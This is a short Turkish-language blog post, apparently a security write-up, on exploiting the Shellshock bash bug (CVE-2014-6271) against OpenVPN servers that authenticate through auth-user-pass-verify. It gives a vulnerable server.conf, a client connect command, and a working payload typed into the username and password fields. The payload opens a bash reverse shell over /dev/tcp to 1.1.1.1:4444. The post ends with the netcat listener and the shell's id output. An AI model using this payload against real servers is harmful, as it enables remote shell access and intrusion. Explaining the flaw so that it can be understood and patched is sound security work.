Shellshock zafiyeti çıktığında yapılan analizlere göre, en önemli güvenlik açıklıklarının arasında yerini aldı. Bir çok farklı saldırı vektörüne göre bu zafiyetin sömürülmesinin mümkün olduğunu ise https://www.mehmetince.net/shellshock-cve-2014-6271-guvenlik-aciginin-saldiri-senaryolari/ bu yazıda ele almıştım.
Bugün ise Shellshock’ün sadece CGI veya DHCP gibi yapılarda değil, OpenVPN sunucularına karşıda bir tehdit oluşturduğundan bahsedeceğim.
Fredrik Strömberg’in konu ile ilgili yaptığı açıklamada https://news.ycombinator.com/item?id=8385332 openVPN yazılımı otantikasyon işlemi için auth-user-pass-verify modülünü kullanıyorsa, shellshock zafiyetine maruz kaldığı belirtilmekte. Bu durumun simülasyonunu yapmak için aşağıdaki örnek openvpn conf dosyasını kullanabiliriz.
### server.conf port 1194 proto udp dev tun client-cert-not-required auth-user-pass-verify /etc/openvpn/user.sh via-env tmp-dir "/etc/openvpn/tmp" ca ca.crt cert testing.crt key testing.key # This file should be kept secret dh dh1024.pem server 10.8.0.0 255.255.255.0 keepalive 10 120 comp-lzo user nobody group nogroup persist-key persist-tun client-cert-not-required plugin /usr/lib/openvpn/openvpn-auth-pam.so login script-security 3 status openvpn-status.log verb 3
Yukarıdakine benzer, yani auth-user-pass-verify modülünü kullanan OpenVPN sunucusuna aşağıdaki terminal komutu ile bağlantı gerçekleştirme talebi gönderilir.
sudo openvpn --client --remote 192.168.1.11 --auth-user-pass --ca ca.cert --comp-lzo
Eğer bağlantı gerçekleşir ise openvpn kullanıcı adı ve şifre girilmesini bekleyecektir. Bu iki değişken üzerinden shellshock payloadı gönderilebilmektedir.
user:() { :;};/bin/bash -i >& /dev/tcp/1.1.1.1/4444 0>&1 & pass:() { :;};/bin/bash -i >& /dev/tcp/1.1.1.1/4444 0>&1 &
Shellshock zafiyeti exploit edilerek hedef OpenVPN sunucusundan reverse connection elde edilmiş olacaktır.
### Port listening nc -lvp 4444 ### Connection id uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)